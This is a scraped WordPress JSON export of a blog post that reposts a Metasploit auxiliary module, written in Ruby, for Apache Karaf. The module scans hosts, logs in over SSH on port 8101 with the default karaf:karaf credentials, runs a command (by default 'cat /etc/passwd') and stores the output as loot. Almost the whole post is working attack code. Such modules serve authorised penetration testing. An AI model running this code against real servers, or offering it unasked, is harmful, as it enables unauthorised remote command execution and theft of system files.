##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
require ‘net\/ssh’<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SSH<\/p>\n
def initialize(info={})
super(update_info(info,
‘Name’ => “Apache Karaf Default Credentials Command Execution”,
‘Description’ => %q{
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
The ‘karaf’ user has a known default password, which can be used to login to the
SSH service, and execute operating system commands from remote.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Nicholas Starke <nick@alephvoid.com>’
],
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Privileged’ => true,
‘DisclosureDate’ => ‘2016-02-09’))<\/p>\n
register_options(
[
Opt::RPORT(8101),
OptString.new(‘USERNAME’, [true, ‘Username’, ‘karaf’]),
OptString.new(‘PASSWORD’, [true, ‘Password’, ‘karaf’]),
OptString.new(‘CMD’, [true, ‘Command to Run’, ‘cat \/etc\/passwd’])
], self.class
)<\/p>\n
register_advanced_options(
[
Opt::Proxies,
OptBool.new(‘SSH_DEBUG’, [ false, ‘Enable SSH debugging output (Extreme verbosity!)’, false]),
OptInt.new(‘SSH_TIMEOUT’, [ false, ‘Specify the maximum time to negotiate a SSH session’, 30])
])
end<\/p>\n
def rport
datastore[‘RPORT’]end<\/p>\n
def username
datastore[‘USERNAME’]end<\/p>\n
def password
datastore[‘PASSWORD’]end<\/p>\n
def cmd
datastore[‘CMD’]end<\/p>\n
def do_login(user, pass, ip)
opts = ssh_client_defaults.merge({
:auth_methods => [‘password’],
:port => rport,
:password => pass,
})<\/p>\n
opts.merge!(verbose: :debug) if datastore[‘SSH_DEBUG’]\n
begin
ssh = ::Timeout.timeout(datastore[‘SSH_TIMEOUT’]) do
Net::SSH.start(ip, user, opts)
end
if ssh
print_good(“#{ip}:#{rport} – Login Successful (‘#{user}:#{pass})'”)
else
print_error “#{ip}:#{rport} – Unknown error”
end
rescue OpenSSL::Cipher::CipherError => e
print_error(“#{ip}:#{rport} SSH – Unable to connect to this Apache Karaf (#{e.message})”)
return
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error “#{ip}:#{rport} SSH – Disconnected during negotiation”
return
rescue ::Timeout::Error
print_error “#{ip}:#{rport} SSH – Timed out during negotiation”
return
rescue Net::SSH::AuthenticationFailed
print_error “#{ip}:#{rport} SSH – Failed authentication”
rescue Net::SSH::Exception => e
print_error “#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}”
return
end<\/p>\n
ssh
end<\/p>\n
def run_host(ip)
print_status(“#{ip}:#{rport} – Attempt to login…”)
ssh = do_login(username, password, ip)
if ssh
output = ssh.exec!(“#{cmd}\\n”).to_s
if output
print_good(“#{ip}:#{rport} – Command successfully executed. Output: #{output}”)
store_loot(“apache.karaf.command”,
“text\/plain”,
ip,
output)
vprint_status(“#{ip}:#{rport} – Loot stored at: apache.karaf.command”)
else
print_error “#{ip}:#{rport} – Command failed to execute”
end
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require ‘net\/ssh’ class MetasploitModule < Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::SSH def initialize(info={})super(update_info(info,‘Name’ => “Apache Karaf Default Credentials Command Execution”,‘Description’ => %q{This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.The ‘karaf’ user has a known default password, which can be used to login to theSSH …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59364","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59364","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59364"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59364\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}